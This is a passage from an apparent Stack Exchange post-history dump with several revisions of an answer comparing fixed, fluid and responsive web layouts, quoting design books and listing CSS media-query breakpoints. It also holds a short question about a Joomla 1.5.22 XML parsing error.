can do is to&#xD;&#xA;&gt; allow anything to limit what’s&#xD;&#xA;&gt; possible.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Andy Clarke, *Hardboiled Web Design,* p6 [PDF Edition [available here](http://hardboiledwebdesign.com/)]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;While some see fixed layouts as the height of laziness, fixed-width designs are still chosen by very smart design teams over fluid or adaptive layouts. [Apple,](http://apple.com) for example, currently serves the same layout to iMacs as it does to iPads and iPhones. Why does the company responsible for bringing mobile web browsing to the masses not optimise its website for mobile devices?&#xD;&#xA;&#xD;&#xA;Because it doesn't think it needs to.&#xD;&#xA;&#xD;&#xA;Instead of adapting its website for small screens, Apple built hardware and software to comfortably handle wide websites on those screens. Apple thinks that a 'mobile optimised' experience is best delivered in a native application, not in a browser window. That's why it offers the *Apple Store* app instead of serving a mobile-optimised Web store. And it's why it encourage publishers to offer magazine apps over tailored websites. Apple's current web design philosophy is clear: one layout to rule them all works fine. For everything else, there's an app for that.&#xD;&#xA;&#xD;&#xA;For this reason alone, some would argue that fixed layouts remain as relevant as ever; they'd say that fluid and adaptive layouts are just stop gaps while we wait for mobile browser software to improve, and HTML and JavaScript to evolve and tempt developers away from siloed app stores.&#xD;&#xA;&#xD;&#xA;In my opinion, though, pinch-tap-drag-zooming your way around the Web for any length of time on a mobile device isn't much fun at all, even on an iPhone. If you believe that the best Web experience is the one that makes reading, publishing, and interacting with websites a pleasure instead of a chore, regardless of the device you're using, you have to concede at some point that serving content tailored to each visitor is worth considering.&#xD;&#xA;&#xD;&#xA;###Fluid layouts&#xD;&#xA;Fluid layouts, where the page's width flows to fill the screen (often up to an imposed maximum width), promise a better experience across different platforms by delivering content at a width more suited to the viewport.&#xD;&#xA;&#xD;&#xA;In practice, fluid layouts cause more problems than they solve, as noted by Cameron Moll in this quip:&#xD;&#xA;&#xD;&#xA;&gt; &quot;...fluid designs solve every layout&#xD;&#xA;&gt; problem much the same as computers&#xD;&#xA;&gt; make offices paperless i.e. they&#xD;&#xA;&gt; don’t.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Cameron Moll, [&quot;Should all sites be fluid?&quot;,](http://www.cameronmoll.com/archives/001224.html) September 2006&#xD;&#xA;&#xD;&#xA;When you adopt a fluid layout, you relinquish control of your design and accept that text will rewrap, images will reflow, line lengths will vary unpredictably, text, images, and navigation elements may crush together at small widths, and columns will jump and float around just to spite you.&#xD;&#xA;&#xD;&#xA;A fluid layout, some might say, is also a lazy option. It is the shotgun approach to adaptive web design. Instead of providing a tailored experience with three or four carefully considered fixed-width designs, you're offering an unpredictable experience in the hope that it might work on big and small screens, and hopefully plug all the gaps that you haven't fully considered in between.&#xD;&#xA;&#xD;&#xA;This doesn't make fluid layouts useless. There are ways to make them work. The [456 Berea St](http://www.456bereastreet.com/) blog, for example, adopts a fluid layout up to a given width, after which it uses a fixed one for anything bigger. And at really small widths, the sidebar drops away to use a single column that makes it easier to read on small screens. But this is no longer a simple fluid layout. It is something better. It is an *adaptive* design.&#xD;&#xA;&#xD;&#xA;###Responsive layouts&#xD;&#xA;A 'responsive' or 'adaptive' layout -- where the same web page presents one version of two or more crafted layouts depending on the visitor's browser width -- is a key part of progressive enhancement, which aims to make a website look the best it can for every visitor.&#xD;&#xA;&#xD;&#xA;Choosing to adopt an adaptive layout is 'excellent customer service', in the words of Aaron Gustafson, the author of [Adaptive Web Design.](http://easy-readers.net/) If we design our sites well, he says, visitors should be presented with a perfectly crafted experience without realising that we're making a fuss of them:&#xD;&#xA;&#xD;&#xA;&gt; &quot;As web designers and developers, we should strive to be as good at our job as that attentive, unobtrusive waiter, but it isn’t a simple task. Just as a waiter has no idea if a customer coming through the door will require frequent refills or few, we have no way of knowing a particular user’s needs when they arrive on our site. Instead, we must rise to meet those needs. If we’re really good, we can do so without our customers even realizing we’re making special considerations for them. Thankfully, with progressive enhancement’s user and content-focused approach (as opposed to graceful degradation’s newest-browser approach), this is easily achievable.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Aaron Gustafson, *Adaptive Web Design,* p12 [PDF edition [available here](http://easy-readers.net/)]&#xD;&#xA;&#xD;&#xA;The realisation that our job as web designers is to adapt to our visitors and not force them to adapt to us -- as Apple might have us believe -- is a fairly recent development in Web design. It is, in my opinion, a renaissance of sorts: we have finished cherry picking the good habits from years of print design. Now we must throw away the shackles imposed by working within a predefined space on the printed page.&#xD;&#xA;&#xD;&#xA;Where once we treated the browser as a fixed canvas, we're now accepting that no defined canvas exists at all, and this is becoming ever more clear from the huge mix of screen sizes you're no doubt starting to see in your visitor stats. Instead of treating each new device as a unique 'page size' to target (and then having to rally troops when a new device comes out) we can follow more future-proof conventions.&#xD;&#xA;&#xD;&#xA;We can think in terms of bands -- 'large', 'medium', and 'small' -- instead of thinking about specific phones and tablets, then design sites to look their best in those bands. Whatever new devices come out, they will fit into one band or another, and -- even if they're right on the border between two bands -- we still have more control over the experience than if we'd used a fixed or fluid layout.&#xD;&#xA;&#xD;&#xA;In [Responsive Web Design,](http://www.abookapart.com/products/responsive-web-design) Ethan Marcotte offers this call to arms:&#xD;&#xA;&#xD;&#xA;&gt; &quot;We need to let go.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Rather than creating disconnected&#xD;&#xA;&gt; designs, each tailored to a particular&#xD;&#xA;&gt; device or browser, we should instead&#xD;&#xA;&gt; treat them as facets of the same&#xD;&#xA;&gt; experience. In other words, we can&#xD;&#xA;&gt; craft sites that are not only more&#xD;&#xA;&gt; flexible, but that can adapt to the&#xD;&#xA;&gt; media that renders them.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In short, we need to practice&#xD;&#xA;&gt; *responsive web design.* We can embrace&#xD;&#xA;&gt; the flexibility inherent to the web,&#xD;&#xA;&gt; without surrendering the control we&#xD;&#xA;&gt; require as designers. All by embedding &#xD;&#xA;&gt; standards-based technologies in&#xD;&#xA;&gt; our work, and by making a slight&#xD;&#xA;&gt; change in our philosophy toward online&#xD;&#xA;&gt; design.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Ethan Marcotte, *Responsive Web Design,* p8 [PDF edition [available here](http://www.abookapart.com/products/responsive-web-design)]&#xD;&#xA;&#xD;&#xA;But what bands do you use? Ethan Marcotte recommends the following three in *Responsive Web Design.* (To learn what they do and understand the caveats, you might like to [grab the book.](http://www.abookapart.com/products/responsive-web-design))&#xD;&#xA;&#xD;&#xA;    @media screen and (max-width: 768px) { &#xD;&#xA;    ...&#xD;&#xA;    } @media screen and (max-width: 520px) {&#xD;&#xA;    ...&#xD;&#xA;    } @media screen and (min-width: 1200px) {&#xD;&#xA;    ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are also a range of CSS frameworks designed to help build adaptive websites, including Joni Korpi's [Less Framework.](http://lessframework.com/)&#xD;&#xA;&#xD;&#xA;In short, when it's done well, adaptive design is a joy to behold and experience both as a web designer and a communal garden web user. Take the site of Japanese firm [Information Architects](http://www.informationarchitects.jp/en/), for example: &#xD;&#xA;&#xD;&#xA;###On an iPhone&#xD;&#xA;&#xD;&#xA;![Information Architects iPhone screenshot][1]&#xD;&#xA;&#xD;&#xA;###On an iPad&#xD;&#xA;[![Information Architects iPad screenshot][2]](http://i.stack.imgur.com/1iYWM.jpg)&#xD;&#xA;&#xD;&#xA;###On an iMac&#xD;&#xA;[![Information Architects iMac screenshot][3]](http://i.stack.imgur.com/AeCfA.jpg)&#xD;&#xA;&#xD;&#xA;Just as Aaron Gustafson predicted, you don't even know you're being catered for until you see the designs on the same page.&#xD;&#xA;&#xD;&#xA;The experience could hardly be more pleasant in each case; you don't have to think about how best to read the content, why it looks strange on your screen, or interact with the page before you can even begin reading, because someone already solved those problems for you. And *that* is why responsive design almost always trumps other options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/lLik8.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/1iYWM.jpg&#xD;&#xA;  [3]: http://i.stack.imgur.com/AeCfA.jpg" />
  <row Id="36600" PostHistoryTypeId="5" PostId="15484" RevisionGUID="c936319a-1491-425f-9e06-79654bb402c1" CreationDate="2011-06-17T11:45:56.447" UserId="7198" Comment="deleted 6 characters in body" Text="In my mind, **responsive design** (also known as 'adaptive' design), where the same web page presents one version of two or more hand-crafted layouts depending on the visitor's browser width, is the best option for most websites. To see why, it helps to look at all of the options available to web designers:&#xD;&#xA;&#xD;&#xA;###Fixed layouts&#xD;&#xA;A fixed page width, where the content width is the same regardless of the browser width, offers a uniform look and feel across devices and can require less coding, thinking, and maintenance than more flexible designs.&#xD;&#xA;&#xD;&#xA;Some feel that fixed-width layouts are relics of a bygone era, where people craved pixel perfection and uniform looks across all browsers. Andy Clarke, author of [Hardboiled Web Design,](http://hardboiledwebdesign.com/) feels that this way of thinking is dead:&#xD;&#xA;&#xD;&#xA;&gt; &quot;In the past it was standard practice&#xD;&#xA;&gt; to fight hard to create a website that&#xD;&#xA;&gt; looked and worked the same across all&#xD;&#xA;&gt; browsers — no matter what their&#xD;&#xA;&gt; capabilities. To do this meant making&#xD;&#xA;&gt; compromises and avoiding using&#xD;&#xA;&gt; technologies not supported by all&#xD;&#xA;&gt; browsers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Is this hardboiled?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Don’t kid yourself, sweet cheeks. This&#xD;&#xA;&gt; isn’t the way to evolve our craft or&#xD;&#xA;&gt; build a better web. This kind of&#xD;&#xA;&gt; old-fashioned thinking holds us back.&#xD;&#xA;&gt; It forces us to make excuses for not&#xD;&#xA;&gt; doing what we know is the right thing.&#xD;&#xA;&gt; The worst that we, as the current&#xD;&#xA;&gt; custodians of the web, can do is to&#xD;&#xA;&gt; allow anything to limit what’s&#xD;&#xA;&gt; possible.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Andy Clarke, *Hardboiled Web Design,* p6 [PDF Edition [available here](http://hardboiledwebdesign.com/)]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;While some see fixed layouts as the height of laziness, fixed-width designs are still chosen by very smart design teams over fluid or adaptive layouts. [Apple,](http://apple.com) for example, currently serves the same layout to iMacs as it does to iPads and iPhones. Why does the company responsible for bringing mobile web browsing to the masses not optimise its website for mobile devices?&#xD;&#xA;&#xD;&#xA;Because it doesn't think it needs to.&#xD;&#xA;&#xD;&#xA;Instead of adapting its website for small screens, Apple built hardware and software to comfortably handle wide websites on those screens. Apple thinks that a 'mobile optimised' experience is best delivered in a native application, not in a browser window. That's why it offers the *Apple Store* app instead of serving a mobile-optimised Web store. And it's why it encourage publishers to offer magazine apps over tailored websites. Apple's current web design philosophy is clear: one layout to rule them all works fine. For everything else, there's an app for that.&#xD;&#xA;&#xD;&#xA;For this reason alone, some would argue that fixed layouts remain as relevant as ever; they'd say that fluid and adaptive layouts are just stop gaps while we wait for mobile browser software to improve, and HTML and JavaScript to evolve and tempt developers away from siloed app stores.&#xD;&#xA;&#xD;&#xA;In my opinion, though, pinch-tap-drag-zooming your way around the Web for any length of time on a mobile device isn't much fun at all, even on an iPhone. If you believe that the best Web experience is the one that makes reading, publishing, and interacting with websites a pleasure instead of a chore, regardless of the device you're using, you have to concede at some point that serving content tailored to each visitor is worth considering.&#xD;&#xA;&#xD;&#xA;###Fluid layouts&#xD;&#xA;Fluid layouts, where the page's width flows to fill the screen (often up to an imposed maximum width), promise a better experience across different platforms by delivering content at a width more suited to the viewport.&#xD;&#xA;&#xD;&#xA;In practice, fluid layouts cause more problems than they solve, as noted by Cameron Moll in this quip:&#xD;&#xA;&#xD;&#xA;&gt; &quot;...fluid designs solve every layout&#xD;&#xA;&gt; problem much the same as computers&#xD;&#xA;&gt; make offices paperless i.e. they&#xD;&#xA;&gt; don’t.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Cameron Moll, [&quot;Should all sites be fluid?&quot;,](http://www.cameronmoll.com/archives/001224.html) September 2006&#xD;&#xA;&#xD;&#xA;When you adopt a fluid layout, you relinquish control of your design and accept that text will rewrap, images will reflow, line lengths will vary unpredictably, text, images, and navigation elements may crush together at small widths, and columns will jump and float around just to spite you.&#xD;&#xA;&#xD;&#xA;A fluid layout, some might say, is also a lazy option. It is the shotgun approach to adaptive web design. Instead of providing a tailored experience with three or four carefully considered fixed-width designs, you're offering an unpredictable experience in the hope that it might work on big and small screens, and hopefully plug all the gaps that you haven't fully considered in between.&#xD;&#xA;&#xD;&#xA;This doesn't make fluid layouts useless. There are ways to make them work. The [456 Berea St](http://www.456bereastreet.com/) blog, for example, adopts a fluid layout up to a given width, after which it uses a fixed one for anything bigger. And at really small widths, the sidebar drops away to use a single column that makes it easier to read on small screens. But this is no longer a fluid layout. It is something better. It is a *responsive* design.&#xD;&#xA;&#xD;&#xA;###Responsive layouts&#xD;&#xA;A 'responsive' or 'adaptive' layout -- where the same web page presents one version of two or more crafted layouts depending on the visitor's browser width -- is a key part of progressive enhancement, which aims to make a website look the best it can for every visitor.&#xD;&#xA;&#xD;&#xA;Choosing to adopt an adaptive layout is 'excellent customer service', in the words of Aaron Gustafson, the author of [Adaptive Web Design.](http://easy-readers.net/) If we design our sites well, he says, visitors should be presented with a perfectly crafted experience without realising that we're making a fuss of them:&#xD;&#xA;&#xD;&#xA;&gt; &quot;As web designers and developers, we should strive to be as good at our job as that attentive, unobtrusive waiter, but it isn’t a simple task. Just as a waiter has no idea if a customer coming through the door will require frequent refills or few, we have no way of knowing a particular user’s needs when they arrive on our site. Instead, we must rise to meet those needs. If we’re really good, we can do so without our customers even realizing we’re making special considerations for them. Thankfully, with progressive enhancement’s user and content-focused approach (as opposed to graceful degradation’s newest-browser approach), this is easily achievable.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Aaron Gustafson, *Adaptive Web Design,* p12 [PDF edition [available here](http://easy-readers.net/)]&#xD;&#xA;&#xD;&#xA;The realisation that our job as web designers is to adapt to our visitors and not force them to adapt to us -- as Apple might have us believe -- is a fairly recent development in Web design. It is, in my opinion, a renaissance of sorts: we have finished cherry picking the good habits from years of print design. Now we must throw away the shackles imposed by working within a predefined space on the printed page.&#xD;&#xA;&#xD;&#xA;Where once we treated the browser as a fixed canvas, we're now accepting that no defined canvas exists at all, and this is becoming ever more clear from the huge mix of screen sizes you're no doubt starting to see in your visitor stats. Instead of treating each new device as a unique 'page size' to target (and then having to rally troops when a new device comes out) we can follow more future-proof conventions.&#xD;&#xA;&#xD;&#xA;We can think in terms of bands -- 'large', 'medium', and 'small' -- instead of thinking about specific phones and tablets, then design sites to look their best in those bands. Whatever new devices come out, they will fit into one band or another, and -- even if they're right on the border between two bands -- we still have more control over the experience than if we'd used a fixed or fluid layout.&#xD;&#xA;&#xD;&#xA;In [Responsive Web Design,](http://www.abookapart.com/products/responsive-web-design) Ethan Marcotte offers this call to arms:&#xD;&#xA;&#xD;&#xA;&gt; &quot;We need to let go.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Rather than creating disconnected&#xD;&#xA;&gt; designs, each tailored to a particular&#xD;&#xA;&gt; device or browser, we should instead&#xD;&#xA;&gt; treat them as facets of the same&#xD;&#xA;&gt; experience. In other words, we can&#xD;&#xA;&gt; craft sites that are not only more&#xD;&#xA;&gt; flexible, but that can adapt to the&#xD;&#xA;&gt; media that renders them.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In short, we need to practice&#xD;&#xA;&gt; *responsive web design.* We can embrace&#xD;&#xA;&gt; the flexibility inherent to the web,&#xD;&#xA;&gt; without surrendering the control we&#xD;&#xA;&gt; require as designers. All by embedding &#xD;&#xA;&gt; standards-based technologies in&#xD;&#xA;&gt; our work, and by making a slight&#xD;&#xA;&gt; change in our philosophy toward online&#xD;&#xA;&gt; design.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Ethan Marcotte, *Responsive Web Design,* p8 [PDF edition [available here](http://www.abookapart.com/products/responsive-web-design)]&#xD;&#xA;&#xD;&#xA;But what bands do you use? Ethan Marcotte recommends the following three in *Responsive Web Design.* (To learn what they do and understand the caveats, you might like to [grab the book.](http://www.abookapart.com/products/responsive-web-design))&#xD;&#xA;&#xD;&#xA;    @media screen and (max-width: 768px) { &#xD;&#xA;    ...&#xD;&#xA;    } @media screen and (max-width: 520px) {&#xD;&#xA;    ...&#xD;&#xA;    } @media screen and (min-width: 1200px) {&#xD;&#xA;    ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are also a range of CSS frameworks designed to help build adaptive websites, including Joni Korpi's [Less Framework.](http://lessframework.com/)&#xD;&#xA;&#xD;&#xA;In short, when it's done well, adaptive design is a joy to behold and experience both as a web designer and a communal garden web user. Take the site of Japanese firm [Information Architects](http://www.informationarchitects.jp/en/), for example: &#xD;&#xA;&#xD;&#xA;###On an iPhone&#xD;&#xA;&#xD;&#xA;![Information Architects iPhone screenshot][1]&#xD;&#xA;&#xD;&#xA;###On an iPad&#xD;&#xA;[![Information Architects iPad screenshot][2]](http://i.stack.imgur.com/1iYWM.jpg)&#xD;&#xA;&#xD;&#xA;###On an iMac&#xD;&#xA;[![Information Architects iMac screenshot][3]](http://i.stack.imgur.com/AeCfA.jpg)&#xD;&#xA;&#xD;&#xA;Just as Aaron Gustafson predicted, you don't even know you're being catered for until you see the designs on the same page.&#xD;&#xA;&#xD;&#xA;The experience could hardly be more pleasant in each case; you don't have to think about how best to read the content, why it looks strange on your screen, or interact with the page before you can even begin reading, because someone already solved those problems for you. And *that* is why responsive design almost always trumps other options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/lLik8.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/1iYWM.jpg&#xD;&#xA;  [3]: http://i.stack.imgur.com/AeCfA.jpg" />
  <row Id="36604" PostHistoryTypeId="5" PostId="15142" RevisionGUID="09fca485-2da3-406a-ac30-3ed2fbe7e3fc" CreationDate="2011-06-17T11:49:16.120" UserId="5026" Comment="added 47 characters in body; edited tags" Text="I have installed Joomla 1.5.22 on a new hosting account, which doesn't have a domain yet, so it's public URL is http://cp-013.micron21.com/~annimac/&#xD;&#xA;&#xD;&#xA;A message saying: XML Parsing Error at 1:1544. Error 4: not well-formed (invalid token).  The source code for this message is:&#xD;&#xA;&#xD;&#xA;    &lt;dl id=&quot;system-message&quot;&gt;&#xD;&#xA;    &lt;dt class=&quot;error&quot;&gt;Error&lt;/dt&gt;&#xD;&#xA;    &lt;dd class=&quot;error message fade&quot;&gt;&#xD;&#xA;    	&lt;ul&gt;&#xD;&#xA;    		&lt;li&gt;XML Parsing Error at 1:1544. Error 4: not well-formed (invalid token)&lt;/li&gt;&#xD;&#xA;    &#xD;&#xA;    	&lt;/ul&gt;&#xD;&#xA;    &lt;/dd&gt;&#xD;&#xA;    &lt;/dl&gt;&#xD;&#xA;&#xD;&#xA;There is nothing in /logs to indicate what the problem is.  &#xD;&#xA;&#xD;&#xA;I have uploaded the following folders from a freshly unzipped copy of Joomla 1.5.22:&#xD;&#xA;&#xD;&#xA; - administrator&#xD;&#xA; - components&#xD;&#xA; - includes&#xD;&#xA; - language\en-GB&#xD;&#xA; - libraries&#xD;&#xA; - modules&#xD;&#xA; - plugins&#xD;&#xA; - templates\ja_purity&#xD;&#xA; - xmlrpc&#xD;&#xA;&#xD;&#xA;and the issue remains.  I have no custom or additional plugins, modules, or components installed.&#xD;&#xA;&#xD;&#xA;If I change templates, the problem remains.&#xD;&#xA;&#xD;&#xA;What is the problem?" />
  <row Id="36605" PostHistoryTypeId="6" PostId="15142" RevisionGUID="09fca485-2da3-406a-ac30-3ed2fbe7e3fc" CreationDate="2011-06-17T11:49:16.120" UserId="5026" Comment="added 47 characters in body; edited tags" Text="&lt;joomla&gt;&lt;xml&gt;&lt;error&gt;" />
  <row Id="36606" PostHistoryTypeId="5" PostId="15484" RevisionGUID="657609db-3921-4233-ae53-1ef5e196c7d5" CreationDate="2011-06-17T11:51:44.370" UserId="7198" Comment="edited body; deleted 12 characters in body" Text="**Responsive design** (also known as 'adaptive' design), where the same web page presents the best version of two or more hand-crafted layouts depending on the browser width, is the strongest option for most websites. To see why, it helps to look at all of the options available to web designers:&#xD;&#xA;&#xD;&#xA;###Fixed layouts&#xD;&#xA;A fixed page width, where the content width is the same regardless of the browser width, offers a uniform look and feel across devices and can require less coding, thinking, and maintenance than more flexible designs.&#xD;&#xA;&#xD;&#xA;Some feel that fixed-width layouts are relics of a bygone era, where people craved pixel perfection and uniform looks across all browsers. Andy Clarke, author of [Hardboiled Web Design,](http://hardboiledwebdesign.com/) feels that this way of thinking is dead:&#xD;&#xA;&#xD;&#xA;&gt; &quot;In the past it was standard practice&#xD;&#xA;&gt; to fight hard to create a website that&#xD;&#xA;&gt; looked and worked the same across all&#xD;&#xA;&gt; browsers — no matter what their&#xD;&#xA;&gt; capabilities. To do this meant making&#xD;&#xA;&gt; compromises and avoiding using&#xD;&#xA;&gt; technologies not supported by all&#xD;&#xA;&gt; browsers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Is this hardboiled?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Don’t kid yourself, sweet cheeks. This&#xD;&#xA;&gt; isn’t the way to evolve our craft or&#xD;&#xA;&gt; build a better web. This kind of&#xD;&#xA;&gt; old-fashioned thinking holds us back.&#xD;&#xA;&gt; It forces us to make excuses for not&#xD;&#xA;&gt; doing what we know is the right thing.&#xD;&#xA;&gt; The worst that we, as the current&#xD;&#xA;&gt; custodians of the web, can do is to&#xD;&#xA;&gt; allow anything to limit what’s&#xD;&#xA;&gt; possible.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Andy Clarke, *Hardboiled Web Design,* p6 [PDF Edition [available here](http://hardboiledwebdesign.com/)]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;While some see fixed layouts as the height of laziness, fixed-width designs are still chosen by very smart design teams over fluid or adaptive layouts. [Apple,](http://apple.com) for example, currently serves the same layout to iMacs as it does to iPads and iPhones. Why does the company responsible for bringing mobile web browsing to the masses not optimise its website for mobile devices?&#xD;&#xA;&#xD;&#xA;Because it doesn't think it needs to.&#xD;&#xA;&#xD;&#xA;Instead of adapting its website for small screens, Apple built hardware and software to comfortably handle wide websites on those screens. Apple thinks that a 'mobile optimised' experience is best delivered in a native application, not in a browser window. That's why it offers the *Apple Store* app instead of serving a mobile-optimised Web store. And it's why it encourage publishers to offer magazine apps over tailored websites. Apple's current web design philosophy is clear: one layout to rule them all works fine. For everything else, there's an app for that.&#xD;&#xA;&#xD;&#xA;For this reason alone, some would argue that fixed layouts remain as relevant as ever; they'd say that fluid and adaptive layouts are just stop gaps while we wait for mobile browser software to improve, and HTML and JavaScript to evolve and tempt developers away from siloed app stores.&#xD;&#xA;&#xD;&#xA;In my opinion, though, pinch-tap-drag-zooming your way around the Web for any length of time on a mobile device isn't much fun at all, even on an iPhone. If you believe that the best Web experience is the one that makes reading, publishing, and interacting with websites a pleasure instead of a chore, regardless of the device you're using, you have to concede at some point that serving content tailored to each visitor is worth considering.&#xD;&#xA;&#xD;&#xA;###Fluid layouts&#xD;&#xA;Fluid layouts, where the page's width flows to fill the screen (often up to an imposed maximum width), promise a better experience across different platforms by delivering content at a width more suited to the viewport.&#xD;&#xA;&#xD;&#xA;In practice, fluid layouts cause more problems than they solve, as noted by Cameron Moll in this quip:&#xD;&#xA;&#xD;&#xA;&gt; &quot;...fluid designs solve every layout&#xD;&#xA;&gt; problem much the same as computers&#xD;&#xA;&gt; make offices paperless i.e. they&#xD;&#xA;&gt; don’t.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Cameron Moll, [&quot;Should all sites be fluid?&quot;,](http://www.cameronmoll.com/archives/001224.html) September 2006&#xD;&#xA;&#xD;&#xA;When you adopt a fluid layout, you relinquish control of your design and accept that text will rewrap, images will reflow, line lengths will vary unpredictably, text, images, and navigation elements may crush together at small widths, and columns will jump and float around just to spite you.&#xD;&#xA;&#xD;&#xA;A fluid layout, some might say, is also a lazy option. It is the shotgun approach to adaptive web design. Instead of providing a tailored experience with three or four carefully considered fixed-width designs, you're offering an unpredictable experience in the hope that it might work on big and small screens, and hopefully plug all the gaps that you haven't fully considered in between.&#xD;&#xA;&#xD;&#xA;This doesn't make fluid layouts useless. There are ways to make them work. The [456 Berea St](http://www.456bereastreet.com/) blog, for example, adopts a fluid layout up to a given width, after which it uses a fixed one for anything bigger. And at really small widths, the sidebar drops away to use a single column that makes it easier to read on small screens. But this is no longer a fluid layout. It is something better. It is a *responsive* design.&#xD;&#xA;&#xD;&#xA;###Responsive layouts&#xD;&#xA;A 'responsive' or 'adaptive' layout -- where the same web page presents one version of two or more crafted layouts depending on the visitor's browser width -- is a key part of progressive enhancement, which aims to make a website look the best it can for every visitor.&#xD;&#xA;&#xD;&#xA;Choosing to adopt an adaptive layout is 'excellent customer service', in the words of Aaron Gustafson, the author of [Adaptive Web Design.](http://easy-readers.net/) If we design our sites well, he says, visitors should be presented with a perfectly crafted experience without realising that we're making a fuss of them:&#xD;&#xA;&#xD;&#xA;&gt; &quot;As web designers and developers, we should strive to be as good at our job as that attentive, unobtrusive waiter, but it isn’t a simple task. Just as a waiter has no idea if a customer coming through the door will require frequent refills or few, we have no way of knowing a particular user’s needs when they arrive on our site. Instead, we must rise to meet those needs. If we’re really good, we can do so without our customers even realizing we’re making special considerations for them. Thankfully, with progressive enhancement’s user and content-focused approach (as opposed to graceful degradation’s newest-browser approach), this is easily achievable.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Aaron Gustafson, *Adaptive Web Design,* p12 [PDF edition [available here](http://easy-readers.net/)]&#xD;&#xA;&#xD;&#xA;The realisation that our job as web designers is to adapt to our visitors and not force them to adapt to us -- as Apple might have us believe -- is a fairly recent development in Web design. It is, in my opinion, a renaissance of sorts: we have finished cherry picking the good habits from years of print design. Now we must throw away the shackles imposed by working within a predefined space on the printed page.&#xD;&#xA;&#xD;&#xA;Where once we treated the browser as a fixed canvas, we're now accepting that no defined canvas exists at all, and this is becoming ever more clear from the huge mix of screen sizes you're no doubt starting to see in your visitor stats. Instead of treating each new device as a unique 'page size' to target (and then having to rally troops when a new device comes out) we can follow more future-proof conventions.&#xD;&#xA;&#xD;&#xA;We can think in terms of bands -- 'large', 'medium', and 'small' -- instead of thinking about specific phones and tablets, then design sites to look their best in those bands. Whatever new devices come out, they will fit into one band or another, and -- even if they're right on the border between two bands -- we still have more control over the experience than if we'd used a fixed or fluid layout.&#xD;&#xA;&#xD;&#xA;In [Responsive Web Design,](http://www.abookapart.com/products/responsive-web-design) Ethan Marcotte offers this call to arms:&#xD;&#xA;&#xD;&#xA;&gt; &quot;We need to let go.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Rather than creating disconnected&#xD;&#xA;&gt; designs, each tailored to a particular&#xD;&#xA;&gt; device or browser, we should instead&#xD;&#xA;&gt; treat them as facets of the same&#xD;&#xA;&gt; experience. In other words, we can&#xD;&#xA;&gt; craft sites that are not only more&#xD;&#xA;&gt; flexible, but that can adapt to the&#xD;&#xA;&gt; media that renders them.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In short, we need to practice&#xD;&#xA;&gt; *responsive web design.* We can embrace&#xD;&#xA;&gt; the flexibility inherent to the web,&#xD;&#xA;&gt; without surrendering the control we&#xD;&#xA;&gt; require as designers. All by embedding &#xD;&#xA;&gt; standards-based technologies in&#xD;&#xA;&gt; our work, and by making a slight&#xD;&#xA;&gt; change in our philosophy toward online&#xD;&#xA;&gt; design.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Ethan Marcotte, *Responsive Web Design,* p8 [PDF edition [available here](http://www.abookapart.com/products/responsive-web-design)]&#xD;&#xA;&#xD;&#xA;But what bands do you use? Ethan Marcotte recommends the following three in *Responsive Web Design.* (To learn what they do and understand the caveats, you might like to [grab the book.](http://www.abookapart.com/products/responsive-web-design))&#xD;&#xA;&#xD;&#xA;    @media screen and (max-width: 768px) { &#xD;&#xA;    ...&#xD;&#xA;    } @media screen and (max-width: 520px) {&#xD;&#xA;    ...&#xD;&#xA;    } @media screen and (min-width: 1200px) {&#xD;&#xA;    ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are also a range of CSS frameworks designed to help build adaptive websites, including Joni Korpi's [Less Framework.](http://lessframework.com/)&#xD;&#xA;&#xD;&#xA;In short, when it's done well, adaptive design is a joy to behold and experience both as a web designer and a communal garden web user. Take the site of Japanese firm [Information Architects](http://www.informationarchitects.jp/en/), for example: &#xD;&#xA;&#xD;&#xA;###On an iPhone&#xD;&#xA;&#xD;&#xA;![Information Architects iPhone screenshot][1]&#xD;&#xA;&#xD;&#xA;###On an iPad&#xD;&#xA;[![Information Architects iPad screenshot][2]](http://i.stack.imgur.com/1iYWM.jpg)&#xD;&#xA;&#xD;&#xA;###On an iMac&#xD;&#xA;[![Information Architects iMac screenshot][3]](http://i.stack.imgur.com/AeCfA.jpg)&#xD;&#xA;&#xD;&#xA;Just as Aaron Gustafson predicted, you don't even know you're being catered for until you see the designs on the same page.&#xD;&#xA;&#xD;&#xA;The experience could hardly be more pleasant in each case; you don't have to think about how best to read the content, why it looks strange on your screen, or interact with the page before you can even begin reading, because someone already solved those problems for you. And *that* is why responsive design almost always trumps other options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/lLik8.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/1iYWM.jpg&#xD;&#xA;  [3]: 